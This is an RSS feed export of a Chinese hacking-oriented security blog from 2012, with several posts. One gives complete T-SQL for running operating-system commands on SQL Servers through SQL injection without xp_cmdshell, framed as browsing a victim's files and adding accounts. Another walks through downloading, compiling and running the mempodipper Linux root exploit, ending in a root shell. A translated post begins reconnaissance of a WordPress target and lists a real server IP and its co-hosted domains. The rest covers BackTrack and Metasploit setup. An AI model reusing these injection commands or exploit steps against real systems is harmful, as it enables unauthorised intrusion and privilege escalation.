<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog</title>
	<atom:link href="http://www.4shell.org/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 16 Mar 2012 00:11:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>无xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令</title>
		<link>http://www.4shell.org/archives/2157.html</link>
		<comments>http://www.4shell.org/archives/2157.html#comments</comments>
		<pubDate>Fri, 16 Mar 2012 00:11:18 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[xp_cmdshell]]></category>
		<category><![CDATA[小技巧]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2157</guid>
		<description><![CDATA[利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单，只需使用下面的SQL语句： EXEC master.dbo.xp_cmdshell 'dir c:\' 但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险，他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名，这时侯许多人也许会放弃，因为我们无法运行任何的cmd命令，很难查看对方计算机的文件、目录、开启的服务，也无法添加NT用户。 对此作过一番研究，后来我发现即使xp_cmdshell不可用了，还是有可能在服务器上运行CMD并得到回显结果的，这里要用到SQL服务器另外的几个系统存储过程：sp_OACreate，sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。 sp_OACreate 在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。 语法 sp_OACreate progid, &#124; clsid, objecttoken OUTPUT [ , context ] sp_OAGetProperty 获取 OLE 对象的属性值。 语法 sp_OAGetProperty objecttoken, propertyname [, propertyvalue OUTPUT] [, index...] sp_OAMethod 调用 OLE 对象的方法。 语法 sp_OAMethod objecttoken, methodname [, returnvalue OUTPUT] [ , [ @parametername = [...]]]></description>
			<content:encoded><![CDATA[<p>利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单，只需使用下面的SQL语句：</p>
<p>EXEC master.dbo.xp_cmdshell 'dir c:\'</p>
<p>但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险，他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名，这时侯许多人也许会放弃，因为我们无法运行任何的cmd命令，很难查看对方计算机的文件、目录、开启的服务，也无法添加NT用户。</p>
<p>对此作过一番研究，后来我发现即使xp_cmdshell不可用了，还是有可能在服务器上运行CMD并得到回显结果的，这里要用到SQL服务器另外的几个系统存储过程：sp_OACreate，sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。<br />
<span id="more-2157"></span><br />
 sp_OACreate<br />
 在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。<br />
 语法<br />
 sp_OACreate progid, | clsid,<br />
 objecttoken OUTPUT<br />
 [ , context ]<br />
 sp_OAGetProperty<br />
 获取 OLE 对象的属性值。<br />
 语法<br />
 sp_OAGetProperty objecttoken,<br />
 propertyname<br />
 [, propertyvalue OUTPUT]<br />
 [, index...]<br />
sp_OAMethod<br />
 调用 OLE 对象的方法。<br />
 语法<br />
 sp_OAMethod objecttoken,<br />
 methodname<br />
 [, returnvalue OUTPUT]<br />
 [ , [ @parametername = ] parameter [ OUTPUT ]<br />
 [...n]]</p>
<p>思路：<br />
 先在SQL Server 上建立一个Wscript.Shell，调用其run Method，将cmd.exe执行的结果输出到一个文件中，然后再建立一个Scripting.FileSystemObject，通过它建立一个TextStream对象，读出临时文件中的字符，一行一行的添加到一个临时表中。</p>
<p>以下是相应的SQL语句</p>
<p>CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)<br />
 DECLARE @shell INT<br />
 DECLARE @fso INT<br />
 DECLARE @file INT<br />
 DECLARE @isEnd BIT<br />
 DECLARE @out VARCHAR(400)<br />
 EXEC sp_oacreate 'wscript.shell',@shell output<br />
 EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'<br />
 --注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。</p>
<p>EXEC sp_oacreate 'scripting.filesystemobject',@fso output<br />
 EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'<br />
 --因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌</p>
<p>WHILE @shell>0<br />
 BEGIN<br />
 EXEC sp_oamethod @file,'Readline',@out out<br />
 INSERT INTO MYTMP(info) VALUES (@out)<br />
 EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out<br />
 IF @isEnd=1 BREAK<br />
 ELSE CONTINUE<br />
 END</p>
<p>DROP TABLE MYTMP</p>
<p>注意：<br />
 如果你在进行注入测试时使用这种方法就不能有这样多的换行，必须把它们合为一行，每个语句中间用空格符隔开。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2008年10月9日 -- <a href="http://www.4shell.org/archives/333.html" title="恢复xp_cmdshell的N个方法">恢复xp_cmdshell的N个方法</a></li><li>2012年01月31日 -- <a href="http://www.4shell.org/archives/2078.html" title="命令行导出IIS配置信息">命令行导出IIS配置信息</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2051.html" title="域内指定用户中马">域内指定用户中马</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li><li>2010年05月5日 -- <a href="http://www.4shell.org/archives/1750.html" title="搞内网的一个小技巧">搞内网的一个小技巧</a></li><li>2010年04月22日 -- <a href="http://www.4shell.org/archives/1720.html" title="更改windows2003最大连接数">更改windows2003最大连接数</a></li><li>2010年03月1日 -- <a href="http://www.4shell.org/archives/1591.html" title="让千千静听不再弹出广告">让千千静听不再弹出广告</a></li><li>2010年01月19日 -- <a href="http://www.4shell.org/archives/1476.html" title="手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】">手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2157.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>解决BackTrack 5 R2 Metasploit Bug</title>
		<link>http://www.4shell.org/archives/2155.html</link>
		<comments>http://www.4shell.org/archives/2155.html#comments</comments>
		<pubDate>Thu, 08 Mar 2012 11:52:41 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Backtrack5]]></category>
		<category><![CDATA[Metasploit]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2155</guid>
		<description><![CDATA[Metasploit 在 BackTrack 5-R2 中启动不起来 解决办法： cd /opt/metasploit/common/lib mv libcrypto.so.0.9.8 libcrypto.so.0.9.8-b mv libssl.so.0.9.8 libssl.so.0.9.8-backup ln -s /usr/lib/libcrypto.so.0.9.8 ln -s /usr/lib/libssl.so.0.9.8 msfupdate 相关文章2012年03月6日 -- BackTrack 5 从R1 升级到 BackTrack 5 R22012年03月6日 -- 来看看老外的日站思路2012年02月17日 -- BT5 R1 启动自动进入图形界面2012年02月17日 -- BT5 R1 下VPN拨号 安装networkmanager2011年11月22日 -- BT5 R1 Install VMware Tools2011年06月13日 -- Dumping Hashes on Win2008 R2 x64 with [...]]]></description>
			<content:encoded><![CDATA[<p>Metasploit 在 BackTrack 5-R2 中启动不起来</p>
<p>解决办法：</p>
<p>cd /opt/metasploit/common/lib</p>
<p>mv libcrypto.so.0.9.8 libcrypto.so.0.9.8-b</p>
<p>mv libssl.so.0.9.8 libssl.so.0.9.8-backup</p>
<p>ln -s /usr/lib/libcrypto.so.0.9.8</p>
<p>ln -s /usr/lib/libssl.so.0.9.8</p>
<p>msfupdate</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2146.html" title="BackTrack 5 从R1 升级到 BackTrack 5 R2">BackTrack 5 从R1 升级到 BackTrack 5 R2</a></li><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2104.html" title="来看看老外的日站思路">来看看老外的日站思路</a></li><li>2012年02月17日 -- <a href="http://www.4shell.org/archives/2093.html" title="BT5 R1 启动自动进入图形界面">BT5 R1 启动自动进入图形界面</a></li><li>2012年02月17日 -- <a href="http://www.4shell.org/archives/2092.html" title="BT5 R1 下VPN拨号 安装networkmanager">BT5 R1 下VPN拨号 安装networkmanager</a></li><li>2011年11月22日 -- <a href="http://www.4shell.org/archives/2049.html" title="BT5 R1 Install VMware Tools">BT5 R1 Install VMware Tools</a></li><li>2011年06月13日 -- <a href="http://www.4shell.org/archives/1971.html" title="Dumping Hashes on Win2008 R2 x64 with Metasploit">Dumping Hashes on Win2008 R2 x64 with Metasploit</a></li><li>2011年06月8日 -- <a href="http://www.4shell.org/archives/1959.html" title="Backtrack5 汉化">Backtrack5 汉化</a></li><li>2008年11月20日 -- <a href="http://www.4shell.org/archives/649.html" title="Metasploit Framework 3.2 Released 最新版">Metasploit Framework 3.2 Released 最新版</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2155.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BackBox Linux 2.01</title>
		<link>http://www.4shell.org/archives/2150.html</link>
		<comments>http://www.4shell.org/archives/2150.html#comments</comments>
		<pubDate>Tue, 06 Mar 2012 08:22:44 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[BackBox]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2150</guid>
		<description><![CDATA[BackBox是基于Ubuntu的发行，它被开发用于网络渗透测试及安全评估。它被设计为快捷且易于使用。它提供了一份最低纲领的但完整的桌面环境，而这得益于它自己的软件仓库，该仓库总是同步到最新版本的、最常用且以合乎道德而闻名的黑客工具。 Pro-actively protect your IT infrastructure with BackBox. It is the perfect security solution; providing pen-testing, incident response, computer forensics, and intelligence gathering tools. The most current release of BackBox Linux includes the latest software solutions for vulnerability analysis/assessment and pen-testing. It is one of the lightest/fastest Linux distros available on the Internet. 它的基础设施,及时保护你BackBox。它具有完善的安全解决方案,提供pen-testing,事件反应,计算机取证和收集情报的工具。最新释放BackBox Linux包括最新的软件解决方案和pen-testing脆弱性分析/评估。这是一个最distros [...]]]></description>
			<content:encoded><![CDATA[<div>
<p>BackBox是基于Ubuntu的发行，它被开发用于网络渗透测试及安全评估。它被设计为快捷且易于使用。它提供了一份最低纲领的但完整的桌面环境，而这得益于它自己的软件仓库，该仓库总是同步到最新版本的、最常用且以合乎道德而闻名的黑客工具。</p>
<p><a href="http://www.4shell.org/wp-content/uploads/images/2012/03/082245pUW.png"><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/082245pUW.png" alt="" width="480" height="384" /></a></p>
<p><span id="more-2150"></span></p>
<p>Pro-actively protect your IT infrastructure with BackBox. It is the perfect security solution; providing pen-testing, incident response, computer forensics, and intelligence gathering tools. The most current release of BackBox Linux includes the latest software solutions for vulnerability analysis/assessment and pen-testing. It is one of the lightest/fastest Linux distros available on the Internet.</p>
<p>它的基础设施,及时保护你BackBox。它具有完善的安全解决方案,提供pen-testing,事件反应,计算机取证和收集情报的工具。最新释放BackBox Linux包括最新的软件解决方案和pen-testing脆弱性分析/评估。这是一个最distros Linux /最快可以在因特网上获得。</p>
<p>下载：http://www.backbox.org/downloads</p>
</div>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2149.html" title="Linux 2.6.39 到 3.2.0 爆提权漏洞">Linux 2.6.39 到 3.2.0 爆提权漏洞</a></li><li>2011年11月25日 -- <a href="http://www.4shell.org/archives/2062.html" title="最小化安装CentOS6 VMware-tools安装几点注意事项">最小化安装CentOS6 VMware-tools安装几点注意事项</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2059.html" title="linux Backdoor">linux Backdoor</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2055.html" title="allinone: Linux pentest tools">allinone: Linux pentest tools</a></li><li>2011年06月10日 -- <a href="http://www.4shell.org/archives/1969.html" title="VMware 硬盘扩容">VMware 硬盘扩容</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li><li>2011年05月26日 -- <a href="http://www.4shell.org/archives/1933.html" title="Linux 安装基于PPTPD的vpn,内网渗透用">Linux 安装基于PPTPD的vpn,内网渗透用</a></li><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2011年04月30日 -- <a href="http://www.4shell.org/archives/1920.html" title="Linux基本操作命令">Linux基本操作命令</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2150.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Linux 2.6.39 到 3.2.0 爆提权漏洞</title>
		<link>http://www.4shell.org/archives/2149.html</link>
		<comments>http://www.4shell.org/archives/2149.html#comments</comments>
		<pubDate>Tue, 06 Mar 2012 08:21:32 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2149</guid>
		<description><![CDATA[1.下载漏洞利用文件 wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c 2.编译 gcc mempodipper.c -o mempodipper 3.执行前察看 netcat@netcat:~$ uname -r 3.0.0-12-generic netcat@netcat:~$ cat /etc/issue Ubuntu 11.10 n l netcat@netcat:~$ uname -a Linux netcat 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux netcat@netcat:~$ id uid=1000(netcat) gid=1000(netcat) 组=1000(netcat),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare) 4.执行 netcat@netcat:~$ ./mempodipper =============================== =          Mempodipper        = =           by zx2c4          = =         [...]]]></description>
			<content:encoded><![CDATA[<p>1.下载漏洞利用文件</p>
<blockquote><p>wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c</p></blockquote>
<p>2.编译</p>
<blockquote><p>gcc mempodipper.c -o mempodipper</p></blockquote>
<p>3.执行前察看</p>
<blockquote><p>netcat@netcat:~$ uname -r<br />
3.0.0-12-generic<br />
netcat@netcat:~$ cat /etc/issue<br />
Ubuntu 11.10 n l</p>
<p>netcat@netcat:~$ uname -a<br />
Linux netcat 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux<br />
netcat@netcat:~$ id<br />
uid=1000(netcat) gid=1000(netcat) 组=1000(netcat),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare)<br />
<span id="more-2149"></span><br />
4.执行<br />
netcat@netcat:~$ ./mempodipper<br />
===============================<br />
=          Mempodipper        =<br />
=           by zx2c4          =<br />
=         Jan 21, 2012        =<br />
===============================</p>
<p>[+] Ptracing su to find next instruction without reading binary.<br />
[+] Creating ptrace pipe.<br />
[+] Forking ptrace child.<br />
[+] Waiting for ptraced child to give output on syscalls.<br />
[+] Ptrace_traceme’ing process.<br />
[+] Error message written. Single stepping to find address.<br />
[+] Resolved call address to 0×8049570.<br />
[+] Opening socketpair.<br />
[+] Waiting for transferred fd in parent.<br />
[+] Executing child from child fork.<br />
[+] Opening parent mem /proc/3012/mem in child.<br />
[+] Sending fd 6 to parent.<br />
[+] Received fd at 6.<br />
[+] Assigning fd 6 to stderr.<br />
[+] Calculating su padding.<br />
[+] Seeking to offset 0×8049564.<br />
[+] Executing su with shellcode.<br />
sh-4.2#</p></blockquote>
<p>&nbsp;</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2150.html" title="BackBox Linux 2.01">BackBox Linux 2.01</a></li><li>2011年11月25日 -- <a href="http://www.4shell.org/archives/2062.html" title="最小化安装CentOS6 VMware-tools安装几点注意事项">最小化安装CentOS6 VMware-tools安装几点注意事项</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2059.html" title="linux Backdoor">linux Backdoor</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2055.html" title="allinone: Linux pentest tools">allinone: Linux pentest tools</a></li><li>2011年06月10日 -- <a href="http://www.4shell.org/archives/1969.html" title="VMware 硬盘扩容">VMware 硬盘扩容</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li><li>2011年05月26日 -- <a href="http://www.4shell.org/archives/1933.html" title="Linux 安装基于PPTPD的vpn,内网渗透用">Linux 安装基于PPTPD的vpn,内网渗透用</a></li><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2011年04月30日 -- <a href="http://www.4shell.org/archives/1920.html" title="Linux基本操作命令">Linux基本操作命令</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2149.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BackTrack 5 从R1 升级到 BackTrack 5 R2</title>
		<link>http://www.4shell.org/archives/2146.html</link>
		<comments>http://www.4shell.org/archives/2146.html#comments</comments>
		<pubDate>Tue, 06 Mar 2012 08:10:53 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Backtrack5]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2146</guid>
		<description><![CDATA[Thelong awaited release of the BackTrack 5 R2 kernel has arrived, and it’s now available in our repositories. With a spanking brand new 3.2.6 kernel, a huge array of new and updated tools and security fixes, BT5 R2 will provide a more stable and complete penetration testing environment than ever before. We will start a series of [...]]]></description>
			<content:encoded><![CDATA[<p>Thelong awaited release of the BackTrack 5 R2 kernel has arrived, and it’s now available in our repositories. With a spanking brand new 3.2.6 kernel, a huge array of new and updated tools and security fixes, BT5 R2 will provide a more stable and complete penetration testing environment than ever before. We will start a series of blog posts on how to upgrade, deal with VMWare, and even build your own updated BT5 R2 by yourself. For now though, here’s how to get the new kernel and all of the updated goodness:</p>
<p>&nbsp;</p>
<p>1. Update and upgrade your BT5 (R1) installation:</p>
<div>
<div>apt-get update<br />
apt-get dist-upgrade<br />
apt-get install beef<br />
reboot</div>
<div><span id="more-2146"></span></div>
</div>
<p>Once that’s done, you should already have the new kernel installed as well as any last updates we have for the official R2 release. You need to reboot to have the 3.2.6 kernel kick in.</p>
<p>2. OPTIONAL – Once rebooted, log back in, and get your pretty splash screen back.</p>
<div>
<div>fix-splash<br />
reboot</div>
</div>
<p>On the next reboot, you should see the red console splash screen appear.</p>
<p>3. Verify that you are running a 3.2.6 kernel:</p>
<div>
<div>uname -a</div>
</div>
<p>You should see something like “Linux bt 3.2.6 …”</p>
<p>4. Feel free to install any or all of the new tools featured in BackTrack 5 R2:</p>
<div>
<div>apt-get install pipal findmyhash metasploit joomscan hashcat-gui golismero easy-creds pyrit sqlsus vega libhijack tlssled hash-identifier wol-e dirb reaver wce sslyze magictree nipper-ng rec-studio hotpatch xspy arduino rebind horst watobo patator thc-ssl-dos redfang findmyhash killerbee goofile bt-audit bluelog extundelete se-toolkit casefile sucrack dpscan dnschef</div>
</div>
<p>5. Add the new security updates repository to /etc/apt/sources.list, and run another upgrade.</p>
<div>
<div>echo "deb http://updates.repository.backtrack-linux.org revolution main microverse non-free testing" &gt;&gt; /etc/apt/sources.list<br />
apt-get update<br />
apt-get dist-upgrade</div>
</div>
<p>During the last upgrade you’ll be asked about file revision updates. Make sure to always keep the locally installed file. Feel free to press “Enter” and accept all the defaults.</p>
<p><a href="http://www.4shell.org/wp-content/uploads/images/2012/03/115427PCw.png"><img title="portmap-update" src="http://www.4shell.org/wp-content/uploads/images/2012/03/115427PCw.png" alt="" width="575" height="282" /></a></p>
<p><a href="http://www.4shell.org/wp-content/uploads/images/2012/03/115430vWp.png"><img title="update-grub-r2" src="http://www.4shell.org/wp-content/uploads/images/2012/03/115430vWp.png" alt="" width="575" height="342" /></a></p>
<p>6. Some of the newly installed services will be set to start on boot. We like disabling these as needed:</p>
<div>
<div>/etc/init.d/apache2 stop<br />
/etc/init.d/cups stop<br />
/etc/init.d/winbind stopupdate-rc.d -f cups remove<br />
update-rc.d -f apache2 remove<br />
update-rc.d -f winbind remove</p>
</div>
</div>
<p>And…you’re done! Expect a more comprehensive introduction to BT5 R2, on the day of the Official release – March 1st! The BackTrack 5 R2 ISOS will we available for download from our site on March 1st via Torrent only. HTTP links will be added a few days later.</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年03月8日 -- <a href="http://www.4shell.org/archives/2155.html" title="解决BackTrack 5 R2 Metasploit Bug">解决BackTrack 5 R2 Metasploit Bug</a></li><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2104.html" title="来看看老外的日站思路">来看看老外的日站思路</a></li><li>2012年02月17日 -- <a href="http://www.4shell.org/archives/2093.html" title="BT5 R1 启动自动进入图形界面">BT5 R1 启动自动进入图形界面</a></li><li>2012年02月17日 -- <a href="http://www.4shell.org/archives/2092.html" title="BT5 R1 下VPN拨号 安装networkmanager">BT5 R1 下VPN拨号 安装networkmanager</a></li><li>2011年11月22日 -- <a href="http://www.4shell.org/archives/2049.html" title="BT5 R1 Install VMware Tools">BT5 R1 Install VMware Tools</a></li><li>2011年06月8日 -- <a href="http://www.4shell.org/archives/1959.html" title="Backtrack5 汉化">Backtrack5 汉化</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2146.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>来看看老外的日站思路</title>
		<link>http://www.4shell.org/archives/2104.html</link>
		<comments>http://www.4shell.org/archives/2104.html#comments</comments>
		<pubDate>Tue, 06 Mar 2012 03:01:03 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[资源共享]]></category>
		<category><![CDATA[Backtrack5]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2104</guid>
		<description><![CDATA[原文：http://resources.infosecinstitute.com/hacking-a-wordpress-site 《Targeting and Hacking a WordPress Site》 问题的答案看起来不那么确定，显而易见的是黑掉一个站点有很多种方法。在这篇文章，我们的目标是要给大家展示一下黑客是如何锁定并黑掉一个目标站点的！ 让我们来看看目标站点：hack-test.com 先ping下站点所在服务器的IP： 现在我们有了目标站点所在服务器的IP了 — 173.236.138.113 然后我们可以找找同个IP上的其他站点（旁站：sameip.org）： Same IP   26 sites hosted on IP Address 173.236.138.113 ID Domain Site Link 1 hijackthisforum.com hijackthisforum.com 2 sportforum.net sportforum.net 3 freeonlinesudoku.net freeonlinesudoku.net 4 cosplayhell.com cosplayhell.com 5 videogamenews.org videogamenews.org 6 gametour.com gametour.com 7 qualitypetsitting.net qualitypetsitting.net 8 brendanichols.com brendanichols.com 9 8ez.com 8ez.com 10 [...]]]></description>
			<content:encoded><![CDATA[<p>原文：<a href="http://resources.infosecinstitute.com/hacking-a-wordpress-site" rel="nofollow" target="_blank">http://resources.infosecinstitute.com/hacking-a-wordpress-site</a> 《Targeting and Hacking a WordPress Site》</p>
<p>问题的答案看起来不那么确定，显而易见的是黑掉一个站点有很多种方法。在这篇文章，我们的目标是要给大家展示一下黑客是如何锁定并黑掉一个目标站点的！</p>
<p>让我们来看看目标站点：hack-test.com</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030103WYw.jpg" alt="hack" width="492" height="263" /></p>
<p>先ping下站点所在服务器的IP：</p>
<p><span id="more-2104"></span></p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/0301033vg.jpg" alt="hack" width="464" height="145" /></p>
<p>现在我们有了目标站点所在服务器的IP了 — 173.236.138.113</p>
<p>然后我们可以找找同个IP上的其他站点（旁站：sameip.org）：</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030104MvP.jpg" alt="hack" width="521" height="276" /></p>
<p>Same IP   26 sites hosted on IP Address 173.236.138.113</p>
<table border="0">
<tbody valign="top">
<tr>
<td valign="middle"><strong>ID</strong></td>
<td valign="middle"><strong>Domain</strong></td>
<td valign="middle"><strong>Site Link</strong></td>
</tr>
<tr>
<td valign="middle">1</td>
<td valign="middle">hijackthisforum.com</td>
<td valign="middle">hijackthisforum.com</td>
</tr>
<tr>
<td valign="middle">2</td>
<td valign="middle">sportforum.net</td>
<td valign="middle">sportforum.net</td>
</tr>
<tr>
<td valign="middle">3</td>
<td valign="middle">freeonlinesudoku.net</td>
<td valign="middle">freeonlinesudoku.net</td>
</tr>
<tr>
<td valign="middle">4</td>
<td valign="middle">cosplayhell.com</td>
<td valign="middle">cosplayhell.com</td>
</tr>
<tr>
<td valign="middle">5</td>
<td valign="middle">videogamenews.org</td>
<td valign="middle">videogamenews.org</td>
</tr>
<tr>
<td valign="middle">6</td>
<td valign="middle">gametour.com</td>
<td valign="middle">gametour.com</td>
</tr>
<tr>
<td valign="middle">7</td>
<td valign="middle">qualitypetsitting.net</td>
<td valign="middle">qualitypetsitting.net</td>
</tr>
<tr>
<td valign="middle">8</td>
<td valign="middle">brendanichols.com</td>
<td valign="middle">brendanichols.com</td>
</tr>
<tr>
<td valign="middle">9</td>
<td valign="middle">8ez.com</td>
<td valign="middle">8ez.com</td>
</tr>
<tr>
<td valign="middle">10</td>
<td valign="middle">hack-test.com</td>
<td valign="middle">hack-test.com</td>
</tr>
<tr>
<td valign="middle">11</td>
<td valign="middle">kisax.com</td>
<td valign="middle">kisax.com</td>
</tr>
<tr>
<td valign="middle">12</td>
<td valign="middle">paisans.com</td>
<td valign="middle">paisans.com</td>
</tr>
<tr>
<td valign="middle">13</td>
<td valign="middle">mghz.com</td>
<td valign="middle">mghz.com</td>
</tr>
<tr>
<td valign="middle">14</td>
<td valign="middle">debateful.com</td>
<td valign="middle">debateful.com</td>
</tr>
<tr>
<td valign="middle">15</td>
<td valign="middle">jazzygoodtimes.com</td>
<td valign="middle">jazzygoodtimes.com</td>
</tr>
<tr>
<td valign="middle">16</td>
<td valign="middle">fruny.com</td>
<td valign="middle">fruny.com</td>
</tr>
<tr>
<td valign="middle">17</td>
<td valign="middle">vbum.com</td>
<td valign="middle">vbum.com</td>
</tr>
<tr>
<td valign="middle">18</td>
<td valign="middle">wuckie.com</td>
<td valign="middle">wuckie.com</td>
</tr>
<tr>
<td valign="middle">19</td>
<td valign="middle">force5inc.com</td>
<td valign="middle">force5inc.com</td>
</tr>
<tr>
<td valign="middle">20</td>
<td valign="middle">virushero.com</td>
<td valign="middle">virushero.com</td>
</tr>
<tr>
<td valign="middle">21</td>
<td valign="middle">twincitiesbusinesspeernetwork.com</td>
<td valign="middle">twincitiesbusinesspeernetwork.com</td>
</tr>
<tr>
<td valign="middle">22</td>
<td valign="middle">jennieko.com</td>
<td valign="middle">jennieko.com</td>
</tr>
<tr>
<td valign="middle">23</td>
<td valign="middle">davereedy.com</td>
<td valign="middle">davereedy.com</td>
</tr>
<tr>
<td valign="middle">24</td>
<td valign="middle">joygarrido.com</td>
<td valign="middle">joygarrido.com</td>
</tr>
<tr>
<td valign="middle">25</td>
<td valign="middle">prismapp.com</td>
<td valign="middle">prismapp.com</td>
</tr>
<tr>
<td valign="middle">26</td>
<td valign="middle">utiligolf.com</td>
<td valign="middle">utiligolf.com</td>
</tr>
</tbody>
</table>
<p>总计有26个站点在[173.236.138.113]这台服务器上。为了黑掉目标站点，许多黑客会把目标站点同服的其他站点也划入攻击范围内。但是出于学习的目的，我们今天暂且将其他站点放在一边。</p>
<p>我们需要更多关于目标站点的信息（Ps：笔者认为在渗透测试过程中，这比实施测试的环节来得重要得多。），他们包括：</p>
<p>1.DNS记录（A，NS，TXT，MX）</p>
<p>2.WEB服务类型（IIS，APACHE，TOMCAT）</p>
<p>3.域名注册者的信息（所持有域名公司等）</p>
